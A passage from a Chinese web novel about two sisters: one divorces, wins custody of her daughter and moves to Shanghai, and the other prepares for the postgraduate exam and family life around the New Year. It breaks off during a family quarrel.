“我下什么手了?我没打她没骂她,我下什么手了?”严妈本来就快被外面老邻居的眼神看得受不了了,又被她这么一刺激,直接破防起来,还想伸手去拽她,“你把话说清楚,我下什么手了!” 舒秀珍也故意不说清楚,只道:“你下什么手了你自己知道!明天说好了民政局,你别忘了告诉你儿子!” 舒英和舒秀珍瞧着她的样子也没敢太刺激她,她毕竟年纪大了,真给她刺激出点好歹了,对她们也不利,她们来的目的就是把贝贝带走,出气都是 次要的。 一群人浩浩荡荡的来,又浩浩荡荡的走。 舒英走出一段路,还能听到背后有好事的邻居问严妈对孙女做了啥。 舒秀珍怀里抱着贝贝,只觉猛松了一口气,紧紧搂着失而复得的珍宝不肯松手。 舒英看了她一眼后,也放下心来,对小于和小莫说:“今天真是麻烦你们了,这钱你们拿着,姐请你们吃饭。” 小莫连忙推辞道:“不用不用,我们也没干什么,就是到这站了会儿。” 舒英笑了笑,硬是把钱塞到他口袋里:“行了,跟姐就别这么客气了,现在天都黑了,都耽误你们回家了,你们找家店好好吃一顿,再打车回家,到了家跟家里好好解释一下,帮姐跟你们家里人说是对不起。” 等把这群小伙子送走后,舒英才去关心舒秀珍。 贝贝不知道哭了多久,现在已经在舒秀珍怀里睡着了,舒秀珍抱着她一动都不舍得动,舒英转过去一看,舒秀珍也是泪流满面。 她惊了一瞬,赶忙拿手帕给她擦,“没事了没事了,贝贝这不是回来了吗?” “我知道,我就是,就是,后怕,你说我要是去晚一点,我要是没叫上你,要是他们家不是只有严妈在,我会不会就抢不回贝贝?是不是以后都见不到贝贝了?” “不会,不要假设没有发生的事,贝贝这不是回来了吗?贝贝现在正在你怀里睡觉呢。”舒英看了眼时间说,“现在时间也晚了,今天发生这么多事,你就别回去了,来我家凑活一晚上吧,等明天去民政局离了婚再说。” 舒秀珍失神地点了点头,抱着贝贝跟在她身后走。 到家后,李妈看见舒秀珍和贝贝,尤其是贝贝的样子,吃了一惊,但也不好多问,只道:“饿了吧?锅里还热着饭呢,我去给你们盛出来。” 舒秀珍抿唇露出一个笑,恍惚地看了她一眼道:“好,谢谢阿姨。” “谢什么。”李妈笑了笑,转身掀开门帘进了厨房。 今天天都黑了,舒英才回来到,谷雨早都等得不耐烦了,就差没“嗷嗷”哭起来,这下也是抱着她大腿不肯松手。 舒英拖着“小包袱”一瘸一瘸地去房间里给俩孩子泡奶粉喝。 贝贝的奶瓶没带过来,奶粉就泡在了搪瓷杯里,小孩子被妈妈抱一抱哄一哄,天大的委屈害怕就都消失不见,她现在已经又乐乐呵呵的了,跟谷雨俩人一人抱着一个杯子喝奶粉。 反而是舒秀珍恢复不过来,就算是在亲妹妹家里,也还是担惊受怕的,吃两口饭就要看看贝贝,好像随时会有人进来把她抓走一般。 李妈瞧着她这样子,虽然不知道具体发生了什么,但想想也知道不会是什么好事,心有不忍地叹了口气,对女人来讲,离婚可真不是一件容易的事,有多少人天天在家里被丈夫打骂都离不了婚? 她虽然也不赞同离婚,但他们闹成这样子,也实在没有一起过下去的理由了,要她说,那严家就应该要点脸面,毕竟夫妻一场,大家好聚好散就是。 舒英和李固言的床宽一米六,两个女人带两个孩子挤一挤也就睡下了,经过今天这一场闹腾,有什么事都明天再说。 第48章 第 48 章 考试 许是因为昨天闹了一通大的, 互相都不留脸面,严磊也就不再心存侥幸,虽然面如死灰, 但很爽快的同意了离婚。 两人财产分割的很快, 他们结婚后住的那所房子,是严家出资买的,舒秀珍也懒得争, 只带走了自己买的的东西和家里的大部分存款,这些钱都是她攒的,严家没有理由跟她分。 唯一有争议的是贝贝的抚养权,严家硬咬着不放, 非要把贝贝留下来,舒秀珍在这部分自然也是寸步不让,最后是严磊临了终于占了一回舒秀珍,同意让出贝贝的抚养权。 舒秀珍听到他这话的时候深深看了他一眼, 这个男人她真心实意地爱过, 但他们结婚这么多年,在她和严家中, 他从来没有为她考虑过, 两人要分开了他终于是帮了她一回,多么可笑。 舒秀珍趁他同意,抓紧时间跟他们签了协议,然后头也不回地离开, 没有片刻停留犹豫。 她大步走在街上,觉得自己自结了婚后从没有这般自由过,看风是风,看树是树。 她闭上眼仰头, 在明亮的太阳下静静站了会儿,感受着这冬日里的暖阳,多么和煦,多么温暖。 她睁开眼不再留恋,脸上扬起大大的笑容,招手拦了一辆出租车,坐上车后扬长而去。 为了防止昨天抢孩子的事再次发生,贝贝今天没有去托班,而是放在舒英家跟谷雨一块儿玩耍。 舒秀珍事情办完后差不多也快中午了,就没有直接去家属院,而是先绕到二院,靠在车边等着。 舒英下班一出来就看见她,姐妹俩相视一笑,舒秀珍身上气质鲜活,张扬的大波浪被风吹起,肆意地飞舞。 舒英看她这样子,就知道事情肯定顺利办完了,早上她想跟她一起去的,她没同意,只说自己能解决,舒英就只好来上班。 两人回到家里,舒秀珍看着跟妹妹一起坐在桌前乖乖吃鸡蛋羹的贝贝,心中软软,蹲下来张开手臂喊了一声,贝贝听见妈妈的声音,立马惊喜起身,加速跑过来,直扑进她怀里。 舒秀珍紧紧抱住她,宠溺地在她脑袋上揉了揉,她的女儿不用知道今天发生了什么,只要知道她们母女俩从今往后都会过得很快乐就行。 饭桌上,舒英问:“姐,那你接下来有什么打算?” 舒秀珍笑了笑,先抬手给贝贝擦了擦嘴角,换来宝贝女儿一个甜甜的笑,她道:“先租个房子,得先有个地方住才行,接下来我想带贝贝去改名,跟着我姓,我生我养的女儿凭什么要姓严?” 对于她的决定,舒英也很支持,笑着看了看贝贝道:“那以后大名就不叫严知仪了,要叫舒知仪了。” “不叫舒知仪。”舒秀珍摇头反驳说,“叫舒唯,是我舒秀珍唯一的宝贝。” “舒唯,这名字好。”舒英笑起来,看着她道,“好,以后就是舒唯,再也不是严知仪。” 舒秀珍也笑,笑完后又说:“其实经过昨天那件事,我晚上一直在想,我想带着贝贝离开安城,到一个新的城市生活。” “离开安城?”舒英有些惊讶。 舒秀珍:“我离婚这件事,能拖这么长时间才办好,也不光是因为严家人,还有咱爸妈的原因,他们多不赞成我离婚,你不是不知道,而相比于离婚,他们更反对我要贝贝。严磊现在是良心发现,没跟我争贝贝的抚养权,可要是再过一段时间他后悔了呢?他后悔并且要来硬的呢?如果昨天的事再发生一次,没有家里人的帮忙,我真的不一定能再把贝贝抢回来,但我真的不能承受失去贝贝。” 舒英和李妈听完都叹口气,感慨当妈的不易。 舒英道:“那就走,改完名字就走,走得远远的。” 舒秀珍就知道她会支持自己,粲然一笑,又道:“其实我也还没想好要去哪,天下之大,这时候竟让我生出一股无以为家的感觉。我以前常觉得爸妈疼我爱我,可经了这些事后,才发现爸妈最爱的其实还是大哥和武茂,当闺女的不过是儿子的添头。” 舒英看了眼谷雨,小姐俩感情很好,排排坐在一起吃饭,不吵也 不闹,她说:“去沪市吧。” “沪市?”舒秀珍一愣。 “嗯。”舒英解释说,“我之前跟你说过的,我和固言准备以后带着谷雨沪市,沪市现在快速发展,机会多,凭着你的本事,肯定能在沪市打下一片天,所以,去沪市吧,带着舒唯到沪市开启新生活。刚开始你一个人带着贝贝,肯定会辛苦些,但只要母女俩在一起,再苦再难都是幸福的,而且你这些年也攒了不少本钱,到那里也不会过得太差的。” 舒秀珍听了她的话后看着贝贝出神,贝贝四岁了,到九月份就能上幼儿园了,白天放在学校,也不用太操心,刚开始忙不过来就请个保姆,在安城有严磊跟没有一个样,她不也这样过来了吗?到了沪市也不会更辛苦,反而能过安生日子。 她点了点头,看向舒英,道:“好,那我和贝贝在沪市等你们。” 舒英笑起来,也道:“好!我们沪市见!” …… 研究生考试在每年的12月底,在舒秀珍带贝贝离开后,舒英每天的日常就变成了白天上班,有时间就看会儿书,晚上回到家也是一头铺在试题里,每天不到十二点,房间里的灯都是关不上的。 九月份,舒武茂老婆生了女儿,舒英去探望过几次,都特意挑的舒爸舒妈不在的时候去的,自从舒秀珍去沪市后,他们就没少唠叨她,她实在不耐烦听,只好尽量不与他们碰面。 十月份,舒武茂给孩子办满月酒,舒英作为孩子亲姑姑肯定是要出席的,这下实在是躲不了舒爸舒妈了。 舒秀珍没回来,只给舒英打了个电话,托她帮忙给个红包,再替她道个歉,沪市离得远,她又忙,实在是回不来。 其实这么久过去,舒爸舒妈对舒秀珍离婚的气也早就消得差不多了,到底是从小疼到大的闺女,现在她一个人带着孩子在沪市,他们也是担心的,舒爸想知道她现在怎么样,又拉不下脸,梗着脖子不知道怎么问。 舒妈就没这个顾忌了,看见舒英就问:“你姐现在怎么样?怎么孩子满月也不回来一趟。” 舒英笑了笑道:“她现在挺好的,白天贝贝放在学校,她就去做生意。” “唉。”舒妈叹口气,“你说她一个姑娘家,把自己弄得这么辛苦就开心了?本来安生的日子不好好过,离了婚就在安城不就行了吗?非得跑到那么远的沪市去,天高皇帝远的,出点事儿,我们都搭不上手。” 舒英没接腔,低声问要吃什么。 传统型的家庭就是这样的,有什么真心话永远不能直接的说出来,那些真心永远藏在尖利伤人的话语后,等把人伤得寒了心后又说自己没那个意思。 舒秀珍去了沪市后没往家里来一个电话,舒妈也是真想知道她在那边到底过得怎么样,追着舒英细细问了一堆,末了又觉得伤心,“你姐也真是不懂事,去了这么久也不知道给家里打个电话,就是说声平安也行啊,去了那边就一点音信都没有。” 舒秀珍不是没想过给他们打电话,是每次打之前都能想到他们的态度,几次下来也就不敢打了,但当着老人的面,肯定不能这么说,舒英道:“姐现在忙呢,她在那边做生意,可红火了,天天都得忙到大半夜。” 王梅听着她们俩聊天,暗暗撇了撇嘴,舒秀珍离婚,舒爸舒妈觉得生气,她可是畅快的很,她忘不了跟她之间的仇,人教人学不会,事教人一下就会,之前她嚣张了那么久,现在终于也受了一回老婆婆的苦。 这一顿饭,舒家人吃得各有心思,席一散,舒英也没久留,找了借口带着谷雨回家去了。 12月23号,离考试还有两天,李固言提前从宜州回来陪考。 他能回来,舒英当然是很高兴的,也更轻松了,家里的琐碎事几乎全被他揽去了,不用她操一点心,只要趁着这两天专心备考就行。 到了25号,两人早早起床洗漱,吃过早餐后往考场去,因为之前自考,舒英现在是一点不紧张,她该学的该记的该背的一个都没放松,而且她也在药房工作了这么多年,相比于学生,她反而多了一些经验,这也让她更有自信。 她自信,李固言倒是很紧张,比上一次自考还紧张,舒英瞧着他笑:“你可镇定点,别影响了我。” 李固言一听这话,叠声应下,转过头去逗弄谷雨。 考试一共是两天,舒英考完最后一场出来看见李固言抱着谷雨乖乖站在门口等,不由得松了一口气,幸好他没再捧着一束花,不然她一定装不认识他。 谷雨眼尖,妈妈一出来见看到她了,小手遥遥一指,嘴里喊着:“妈妈!” 舒英加快速度,跑到父女俩跟前,谷雨感觉好久都没看见她了,倾着身子就要她抱,舒英把她接过来,谷雨就跟袋熊一样双腿叉开双手搂着她脖子不松。 李固言还是没问她考的怎么样,舒英先道:“感觉这次做题时手感也不错,十拿九稳吧。”她笑起来,脸上笑容灿烂,眼神清丽。 李固言也跟着笑,悬着的心放下来,她既然说十拿九稳,那几乎就没什么可担心的了,他道:“那明年,我们一家就能在沪市团聚,一直不分开了。” 他前不久刚发展到沪市去,以后的工作就在沪市展开了。 “嗯。”谷雨正在长身体,是越来越重了,舒英抱久了还觉得有些吃力,双臂用力往上掂了掂。 李固言见状伸出手说:“我来抱吧。” 舒英还没说话,谷雨先哼唧起来,“要妈妈抱,不要爸爸抱。” 李固言听到女儿这话有点失落,又觉得对不起她,要不是他在她的生活中缺失太久,她也不会和他不亲,现在他就想她们母女俩赶紧到沪市去,他再也不想跟她们分开这么长时间。 舒英是真抱的有点累了,哄着她说:“妈妈的胳膊酸了,让爸爸抱一会儿好不好?妈妈给你买糖吃。” 谷雨有些迟疑,两条腿在空中晃了晃,讨价还价说:“要多多的糖。” 舒英好笑着答应:“好,多多的糖。”她现在还不会数数,多多的糖就是三四颗糖。 舒英把她塞到李固言怀里,谷雨也不再抗拒,乖乖搂着他。 李固言抱着她,沉甸甸的,又香香软软,他忍不住笑了笑,对舒英道:“等明年你们去沪市,我们可以在沪大旁边买一套房了,我这段时间去那边转了转,问了问价,一套小两室大概是十万。” 舒英点点头,他俩结婚这么多年,细算起来还真没花什么大钱,房子家电都是刚结婚的时候,李固言就用婚前存的钱和李爸李妈给的钱买的,后来也没换过,家里的电视到现在还是黑白的,也就是另装了一部电话,花了几千块。 而且谷雨一出生,李爸李妈又给拿了不少钱,收的礼金也都给了他们,酒席钱也没让他们付,后来李妈也一直帮着带孩子,又省了不少钱。 这样七七八八一合计,他们还真是存下了不少钱。 手头上能一下子拿出来的大概是八万块,里面有五万都是李固言这两年赚的,剩下的就是他们婚后这些年攒的。 但离房子钱还是差着一截,而且这些钱也不能全部用来买房,她去沪市是去上学的,是没有工作的,家里只靠李固言一个人撑着,他就算赚再多,也不太够,再说他也还想趁着过两年出来单干,可不得再攒点本钱吗? 舒英道:“再等等,要么先买一个一室的先住着,我们不能一下子把这些钱全拿出来买房。” “没事,钱够。”李固言冲她挤了挤眼,一副有情况的样子。 舒英挑眉看着他,“你这是瞒了我什么?” 李固言看着她的表情,老老实实道:“没有,没瞒你,就之前跟你说的,罗厂长给我介绍了几个人认识,回来前刚说了一些事,不过还没定下,我就没告诉你,但这事要是能成,到年底咱们的房子钱就能存够了。” 他这话一出来,舒英也觉得惊喜,当下便道:“那等你钱到手,我们明年就在沪市买房安家!” 李固言假期没有几天,也就是陪她考完就回宜州了,不过这时候离过年也没有多久看,所以这次分别就没有太难受,最重要的是,两人明年就能在沪市安家,心里头有奔头,剩下的每一天都觉得有希望。 考试一结束,舒英都觉得自己瞬间轻松不少,时间也宽裕了,舒英也有时间在休息的时候带着谷雨玩了。 隔壁吴晓丽也是今年高考,九月份就去大学里,考到了省城医科大学,吴哥吴嫂子对这结果都满意的很,还在家属院带了好几桌子客呢。 吴嫂子听说舒英考完了,就过来串门子找她玩,兜里还装着两把子五香味的瓜子。 舒英见状玩笑道 :“嫂子,你这去人家家还自备口粮啊。” “那可不,咱不做那招人嫌的事儿!”吴嫂子爽利地笑起来,从兜里把瓜子掏出来给她和李妈分了分,“尝尝,尝尝,我自己炒的。” “自己炒的?”舒英有些惊讶,嗑了一颗吃掉,“嫂子,你还会炒瓜子呢?” “那有什么不会的,就买点葵瓜子回来自己在锅里炒炒,想吃什么味就炒成什么味,简单!” 吴嫂子还在机械厂上班,聊了两句家常后,她不免就要说到厂里最近的故事。 她撇撇嘴,一脸不屑的样子道:“就之前那个简光远,你还记得吧?” “记得。”这怎么能不记得,可以说,他才是李固言离开机械厂的导火索,要不是被伤得狠了,李固言怎么可能会舍下心来离开待了这么久的机械厂。 李妈磕着瓜子接了一嘴,“他咋了?我前两天不还听人说他最近春风得意,过得可好了吗?” “咦!”吴嫂子摇摇头,房间里就她们仨,她还不自觉压了压声音,“大姐你不是咱厂里的你不知道,他最近哪里是春风得意,都被上面骂的狗血淋头了,还有那个陆主任也不行,最近也是夹着尾巴做人。” 吴嫂子的年纪正好夹在她俩中间,上下差的都不很多,所以她们之间的辈分向来是各论各的,毕竟本也不是正规的亲戚。 舒英这俩月是真两耳不闻窗外事,一心只读圣贤书了,对于厂里的事,她是一丁点都不清楚,因此也有些好奇问:“这其中又发生了什么事?” 吴嫂子撇着的嘴就没下来过,说:“这话怎么说,他俩怎么上位的咱大家都清清楚楚的,厂里的人明面上虽然不讨论,但私下里哪个不偷着骂他们?李工是多好个人,又勤快对大家又宽和,被他们给挤兑走了。” 说到这儿,她觑了眼她们的神色,见没有什么变化才继续道:“结果呢,他们倒是升上去了,但没那个本事,上去了也没有用啊!就前几天,咱厂里新出售的一批产品,出现了好大一个故障,被人家抽检抽出来了,那一整批都给退货退回厂里来了,几个厂长副厂长气炸了,让查到底是什么原因,这一查,查人家身上去了,这下好了,差点没把他俩给撸下来!” 李妈冷哼一声,道:“要我说,没那个金刚钻就别揽那瓷器活儿,也是活该!” 她心里也有气呢,那个陆德她没见过,但是简光远之前因为是李固言带的学生,可没少来家里吃饭,她哪回不是好声好气地招待,可怜他家里离得远,平时都是住宿舍吃食堂,所以吃完了饭还想着给人家打包点儿自己腌的咸菜腊肉啥的带回去,结果就喂出来了这么个东西,那些东西还不如喂狗呢,给隔壁的汪汪吃都比给他吃强,毕竟汪汪看见她还会亲切地摇个尾巴,哼唧两声呢! 而且不说以前浪费在他身上的那些好,就单说他让自己儿子彻底失望,从而远走他乡这件事,她就能咬牙一辈子。 “谁说不是呢。”吴嫂子瞧着她的表情就知道她还记恨着这个简光远呢,不过也是,这发生在谁身上,谁能真的宽容大量? 李妈:“那一刚开始你看他过得多得意,娶了领导家的闺女,成了主任家的女婿,我时不时就能听到别人说他又怎么怎么样了,结果现在好了吧?给你那个机会你不中用啊!都被人推到那个位置了,还能被差点革下来,我看他这辈子也就那样了!” 舒英心里也觉得爽快,谁不喜欢听见讨厌的人失意的消息呢? 谷雨听不懂大人们在讨论什么,在旁边自己玩自己的,玩了一会儿后噔噔磴跑到舒英旁边,仰着萌萌的小脸奶呼呼道:“妈妈,要吃糖。” 舒英摇头拒绝:“不行哦,今天的糖早上已经吃过了,要明天才可以吃糖哦。” 谷雨被拒绝也不觉得伤心,反正她每天早上眼一睁就开始要糖吃,妈妈只会在早饭后给她一颗,剩下的一天她要多少回都不会再给她,总而言之,她已经被拒绝习惯了。 吴嫂子不知道这些事儿,瞧见她被拒绝后不哭也不闹的样子惊奇道:“谷雨这么懂事呢?就是我家晓丽小时候都没这么懂事过,那时候不给她糖吃,还要在地上打滚呢!” 舒英看着谷雨笑了笑,自谦道:“哪里是懂事,单纯脸皮厚而已,反正这一天里她有事没事就来问你要糖,不给也不亏,但给了就是赚了。” 说起孩子,吴嫂子又说起她家的晓明,他今年初二了,后年就中考了,但凭着他现在的成绩,上高中是想都不要想的事,上中专也困难重重,说起他,吴嫂子就叹气:“你说这么大的孩子,要真让他初中毕业就不上了,让他去社会上混能混出个什么来?还是得再上两年学才成,不说学点什么,好歹能晚点进社会啊。” 当父母的免不了就要为儿女操心,舒英自己有了孩子就更理解她的心情,但这种事外人也没法说,只安慰道:“我瞧着晓明这两年大一点,懂事了不少呢,嫂子你也别急,说不定明年就开窍了。” 吴嫂子笑起来:“唉,也借你吉言了。” 第49章 第 49 章 爆发 眨眼间又到了过年, 李固言又拎着大包小包给家里买的东西从宜州回来,许是跟他上一次回来时间差的不久,谷雨这回看到他后高兴得要抱, 可把李固言开心的话都说不出来了。 李固萱今年没回来, 她明年研究生毕业了,现在要忙着做实验写论文,忙到连休息的时间都没有, 实在没有空回来。 自从她打电话说今年过年不回来后,李妈就没少念叨她,有事没事就跟舒英道:“当初让她念这么久的学也不知道是对是错,弄得她现在二十好几了也不说成家的事, 这不是耽误了吗?” 舒英知道她是关心李固萱,笑着宽慰道:“哪里就耽误了呢?到了二十就结婚的女孩子一抓一大把,到了二十还在念书的女孩子可不多见,这不还得是妈您思想开明吗?固萱在学习上有天赋, 又何必非得让她跟大家都一样, 早早就成家呢?” 李妈被恭维虽然开心,但心里还是有点忧虑, 眉头蹙着:“可到时候不就拖成老姑娘了吗?到那时候再想结婚就难了, 人家给介绍的就都是些离了婚或者死了老婆还带着孩子的鳏夫了。” 舒英跟听到笑话似的笑起来:“怎么会,到时候固萱有钱有貌的,人家就是再给她介绍鳏夫,她就看得上了吗?妈, 您就放一百个心吧,固萱念的是沪大,那可是名牌大学,她的同学们, 她以后的同事们也都是佼佼者,你说的那些人接触不到她的。” 女儿被这样说,当妈的没有不高兴的,李妈一拍大腿,表情也舒展开,摆摆手说:“算算,儿孙自有儿孙福,我不管她了,她就是一辈子不结婚,都行。” “妈,那你这话我可记下来了,等下会见到固萱告诉她,她肯定高兴。” “哎哎!别,可千万别告诉她。”李妈一副小孩子耍赖皮的样子,“告诉她,她回头放心上了,别真的不找对象了,那一辈子孤孤单单的多可怜呐。” 舒英听到这话没忍住笑,觉得李妈也是可爱,没两三句话呢,就把她心里话给套出来了。 今年过年不止是李固萱没回来,舒秀珍领着贝贝也在沪市过的年,大年三十打电话给舒英拜年。 “新年好啊!” “新年好!”舒秀珍笑着把听筒 放贝贝耳边道,“跟小姨说新年好。” “小姨新年好~” 舒英笑起来:“哎~贝贝也新年好,今年的红包等小姨去沪市再给贝贝哦。” “好~” 那边舒秀珍又拿起电话跟舒英聊家常:“这南方过年跟咱们北方还真是不一样,他们过年一点也不吃饺子,要做一大桌子年夜饭,一家人围坐在一块儿热热闹闹的。” “过年嘛,不管吃不吃饺子,只要开心就行。” “是啊,开心就行。”舒秀珍的笑声顺着电话线传过去,“我今天也没包饺子,说过一回南方的年,我看他们还有家里不做饭,到饭店里叫一桌的,这样更方便,不然一桌子饭怎么着也得准备个一天,哪有直接外面叫一桌来得方便,还都是厨师做的,味道也好。我想着等明年你们过来,咱们一块儿过,也叫一桌尝尝是什么味儿。” 她这话中隐隐透出来的意思就是明年过年也不准备回来。 舒英也没多问,只笑了笑:“行啊。” 要说还是大城市机会多,舒秀珍这才去不到一年,就不知道赚到了多少钱,舒英猜算着应该跟她家的存款也差不多了。 舒秀珍还干的业务员,帮公司谈业务拿提成,不到一年就跳槽了三个公司,工资一次比一次高,舒英听着都觉得大城市钱真多,跟抢钱一样就赚到手了,不过辛苦也是真辛苦,没个休息时间。 舒英说准备在沪市买房的事,舒秀珍道:“真巧了,我也有这个打算呢,我这跟贝贝也不能老是租房子住,想着过完年就去看看房子的,你打算买哪儿的啊?” “沪大旁边吧,等我先考上,考上了房子买在那上学也方便。” 舒秀珍想了想,她的工作是不用坐班的,正好她现在住的地方离沪大也不算远,买到那也能接受,而且背靠一所大学,那周边的房子都很有升值的空间。 她说:“行!那到时候我跟你买一块儿,上下楼还是对门都挺好。” 舒英还真没想过还能跟她做邻居,猛一听这个提议也觉得高兴,“那好啊,住一块儿有个什么事还能相互照看着。” “就是这个理儿。” 长途电话费也不便宜,两人没说多久就挂了电话。 窗外烟花“砰砰砰”地放,舒英抬头静静看着,烟花灿烂盛大,一瞬间的光彩好像能把争个夜空全部照亮。 “阿舒。”李固言把碗筷摆好,抬头看了眼窗边的她叫道,“吃饺子了。” “好。”舒英莞尔笑笑,眼中尽是对现在生活的满意。 一家三代五口人围坐在餐桌边,一人端了一碗热乎乎的饺子,喜庆热闹又小心翼翼地吃着。 李妈道:“我在一个饺子里面夹了颗花生,看谁能吃到啊。本来想包硬币的,想想觉得硬币不太干净就换成花生了。” 众人嘻嘻哈哈,埋头吃着饺子,不一会儿,就听谷雨“嘎嘣”一声,咬碎了一个东西。 李固言听见动静,连忙停止住她的动作,轻轻掰开她的嘴往里看,口腔里还残存着花生的碎片。 他笑道:“看来是谷雨吃到了。” 谷雨睁着两颗圆溜溜的大眼睛不解地看着爸爸,又转过去看了看爷爷奶奶和妈妈,大家都笑着看她,眼底是浓到化不开的爱意,她虽然不明白,但本能地感受到幸福,咧开嘴,高兴地笑起来。 舒英伸手给她擦了擦嘴角,又顺手捏了捏她脸颊笑道:“我们谷雨今年一年都会超级幸运,超级快乐,对不对?” 谷雨用力点了点头,大声道:“对!” “哈哈哈哈哈!” 小而温馨的房间里一时间充满了快乐的氛围。 年初二回娘家,舒英去年就没回去,今年怎么着都得回去一趟了,不然舒爸舒妈又有得唠叨了。 舒英和李固言一大早就起床,舒英自己梳妆打扮的时候,李固言就在给谷雨扎头发,给女儿扎头发这件事,他现在已经很熟练。 他先用梳子把她的头发一点点梳顺,梳顺后再用梳子尖轻轻的在脑袋中间分出发缝,左边的拢到一起,右边的也拢到一起,分别扎起来,再挽成一个小丸子,最后套上头花和发卡。 头花是大红色塑料网布的,上面用渐变的塑料条封边,一眼望过去一闪一闪的,谷雨喜欢极了,扎好后挨挨挤挤凑到妈妈面前,晃着小脑袋给妈妈看。 舒英正戴着首饰呢,抽空看了一眼,笑道:“真漂亮,让爸爸再帮你戴上发卡。” 谷雨得了夸奖,小蝴蝶一样又飞到爸爸身边,小脑袋一伸,顶到他手下,李固言好笑地将两个弹簧小蝴蝶发卡别到丸子两边。 谷雨今天穿了一身红,红色的小袄红色的伞状针织裙,红色的小皮鞋,脑袋上也戴着红色的头花,别着红色的发卡,发卡还会随着她的走动而一颤一颤的,既生动又活泼。 她这一身要是穿在大人身上,恐怕会多有滑稽,但她是个还没人腿高的小孩子,小脸蛋肉嘟嘟的,两颗大眼睛黑葡萄似的,穿着这一身像个福娃娃,又喜庆又招人。 三个人收拾整齐就带上礼去了舒家。 刚到门口,还没敲门,舒英就隐隐闻到了一股羊肉的膻味,她有些不喜地皱了下眉。 这种味道喜欢羊肉的人可能注意不到,但接受不了的人就会异常敏感。 门从里面打卡,舒妈把他们迎进去,看到谷雨就抱起来笑道:“哎呦,我的小谷雨,想不想姥姥?” “想!”她现在已经学得很聪明,不管想不想,都要大声地说想。 果然,舒妈脸上的笑容更深了,抱着她高兴的不得了,又柔声问:“哪里想呀?” 这种话题,谷雨也回答过很多次了,道:“心里想!” “哎呦哎呦!”舒妈抱着她去拿零食吃,喜欢的都不肯松手。 舒英笑了笑,看谷雨摸了一大把糖塞兜里连忙说:“妈,你别给她吃太多糖,她现在吃糖上瘾,回头吃多了要蛀牙的。” “行。”舒妈剥了一颗奶糖放到谷雨张得大大的嘴里,又剥了一颗放宝宝嘴里,舒武茂家的闺女还小呢,得过两年才能跟哥哥姐姐们一块儿吃糖。 两个小朋友吃到糖都开心地眯起眼,一副比吃到凤髓龙肝还珍稀的样子。 舒英笑着摇摇头,只能说孩子就是孩子,好满足得很,一颗糖就能高兴成这样子。 这时候舒爸背着手从外面进来,也不知道谁惹到他了,冷着脸一副不高兴的样子。 舒妈撇头看见,问了一嘴:“你这又是咋了?跟人下棋又输了?” 舒爸冷哼一声没说话,也没搭理女儿女婿,扭头进了房间。 舒妈皱着眉横了他一眼,怕李固言多想,点着他的背影跟他说:“肯定又是跟楼下老张下象棋又输了,他这人就这样,咱别管他。” 李固言作为女婿自然不能说岳父的不好,因此只是笑笑。 舒爸自己在房间里不知道在鼓捣些什么,乒乒乓乓的,没一会儿又从房间里出来,喊了谷雨两声,等谷雨走到跟前,他从怀里掏出一个红包道:“谷雨,这是姥爷给的压岁钱。” 谷雨跟姥爷不熟,砖头看了妈妈一眼,舒英刚想说让她接下来,舒爸就哼了一声道:“看你妈干嘛,这姥爷给的。” 舒英一挑眉,看来老爷子这火还跟她有点关系,她冲谷雨点点头,谷雨伸手接下红包塞进斜挎的小包里,又礼貌地说:“谢谢姥爷。” 跟刚才对待姥姥的态度可谓是天差地别。 舒英也不管他到底是生什么气,他不说她也就只当不知道,笑了笑后对谷雨招手,谷雨屁颠屁颠地跑过来,灵活地往她怀里一挤。 舒爸也不知道是不是火没发出来,看什么都不顺眼,看着她俩坐在那终于忍不住道:“咱们舒家真是生了两个好闺女!” 他这话怪腔怪调的,舒英皱皱眉,不知道他这又是什么意思。 李固言看了舒英一眼,又转过去笑着对岳 父说:“爸,我从宜州带了点海产回来,也不知道您爱不爱吃,就都给带了点回来,待会儿您尝尝?” 舒爸深深看了眼舒英,才回道:“给我尝尝?原来你们眼里还有我这个爸啊?” 他这又不知道说的是什么话,舒英心里也瞬间腾起一股子无名火,语气直冲道:“爸,你要是有什么话,你就直说,没必要这么拐弯抹角的。固言也是好不容易从宜州带了那么点东西,我们今天这巴巴地给你带过来,您要是看不惯,我们现在就回去,何必要这样说话?” 舒妈和王梅在厨房里听见这话也都出来,舒妈手上还沾着水,悬在空中,问舒爸:“这大过年,你又干什么?有什么话不能好好说?” 舒爸哼了一声:“好好说?你这话别跟我说,跟你的好姑娘说,我今天才从别人嘴里知道,说英儿不好好上班,考什么研究生呢,还是沪市的学校!” 他这话一出,舒英都有些愣住,他这么大的气性就因为这? 舒妈也没想到是因为这事,舒英考研的事她知道,应该说,这家里除了他应该都知道,她记得之前她跟他说过的啊,是她记错了吗? 舒爸环视一周,看着众人的表情,瞬间反应过来:“好啊,你们这是就瞒着我一个人啊?怎么,舒英你是不准备要你这个爸了是吧?也要跟你姐一样以后就去那劳什子沪市待着,过年也不回来,永远都别回来的好!” 他话说的颠三倒四,舒英却从中听到了点原因,她垂了垂眼,他不是因为她考研生气,是因为舒秀珍过年没回来生气。 谷雨被姥爷的大嗓门吓到,害怕地往舒英怀里钻了钻,背过身去,小手紧紧揪住妈妈的衣服。 舒英抱着她拍了拍她的背安抚,轻声开口问:“爸,你是不是怪我劝姐离婚,劝姐去了沪市,觉得姐不回来都是因为我?”所以才借了这么个由头来跟她发火。 舒爸支吾了两声后,嗓门更大:“你胡说八道什么?!”又指着她对舒妈说,“你看你生的好闺女!” 这时候又变成都是舒妈生的了。 舒妈也生气,瞪着他道:“你发什么疯?”舒秀珍过年不回来,她也伤心也难受,但现在大过年的发火不是存心让人不好过吗? 李固言也皱着眉,挡在舒英前面,脸上还挂着浅浅的笑,道:“爸,妈,我突然想起来,我们下午还有点事,中午就不在这吃了,就先回去了,等过两天有空再来看你们。” 说完就要拉着舒英的手起身。 要说舒爸今天这气也是在楼下听了几句风言风语,这大过年的,除了走亲戚就都闲在家里,老头子们在家里也不干什么活,不就是凑在一块儿打打牌下下象棋嘛,他今天早上起来吃完饭就跟前两天一样到楼下老张家,他刚赢了两把,正得意呢,结果旁边看牌的几个人就开始聊起各家儿女来。 这时候离婚可不多见,更别说舒秀珍还要了女儿,还给女儿改了姓,又给带到沪市去了。 又说舒英也是厉害,孩子都那么大了,还这么能折腾,要考什么沪大的研究生,调侃似的笑他,说他家要出一个女状元了。 舒爸是越听越气,跟人吵了一架后,牌也不打了,就往家里就来了,心里面那股子火没下去,这不就发起来了吗? 李固言抱着谷雨,拉着舒英就要走。 今年年初二,哪能让闺女女婿来了不吃顿饭就走?舒妈赶忙拦着,王梅和司容也没想到公公怎么今天发这么大火,也被吓了一跳,也帮着劝和。 